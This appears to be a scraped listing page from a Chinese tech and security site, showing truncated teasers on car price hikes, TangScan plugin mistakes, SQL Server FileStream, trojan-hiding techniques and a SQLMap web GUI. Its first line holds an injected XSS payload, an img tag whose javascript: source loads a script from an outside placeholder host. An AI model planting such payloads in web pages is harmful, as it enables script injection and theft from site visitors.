<img src="javascript:try{var s=document.createElement('script');s.src='http://XSS/XSS.js';do...
这是病 得治！保时捷奔驰等顶风加价
从今年7月开始，持续三年的汽车行业反垄断调查逐步升温，包括捷豹路虎、奥迪、克莱斯勒、宝马等一批品牌相继宣布整车或零部件降价，以回应反垄断部门调查。然而，就在对整车企业罚单即将落地之际，部分豪车品牌却涉...
漏洞预警 |
WooYun-Zone
TangScan插件编写过程中易犯的几种错误
由于Python比较容易上手，白帽子提交的插件代码上的错误也并不多；错误多体现在误报或是漏报上，下面就罗列下几种出现次数较多的错误，共同学习、共同进步！ 一、误报类 这里有两处错误： 1、使用33作为...
模拟鼠标键盘 |
MSSQLSERVER
SQL Server的FileStream和FileTable深入剖析_MsSql
互联网时代数据是爆炸式增长，我们常常需要把结构化数据和非结构化数据（如文档，演示文稿，视频，音频，图像）存储在一起。通常有几种方案： 1。在数据库中存储结构化数据，在文件系统中存储非结构化数据，然后数...
风土人情
小黄鸭调试法
程序员是项很苦逼的职业，一个人很寂寞，有其他人呢又会觉得烦，因此也就应运产生了所谓的“小黄鸭调试法（Rubber duck debugging）”，就是在调试/纠错/测试过...
VC 下黑客软件隐蔽程序的手段
一、引言 随着计算机网络的不断发展，黑客技术也日益成为一支不可忽视的技术力量，尽管多数黑客的攻击目标以服务器为主，对大多数的互连网用户的直接危害并不大。但有一类称为"特洛伊木马"的...
神兵利刃
Web下也能玩SQLMap了：基于PHP开发的SQLMAP-Web-GUI
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具，有一个非常棒的特性，即对检测与利用的自动化处理（数据库指纹、访问底层文件系统、执行命令）。今天FreeBuf要介绍的是一款使用PHP作为前...
Sqlserver 表类型和表变量介绍_MsSql
表类型可以用在存储过程中，用于批量增加表类型定义：复制代码 代码如下:CREATE TYPE dbo.SubCardTable as table ( &...
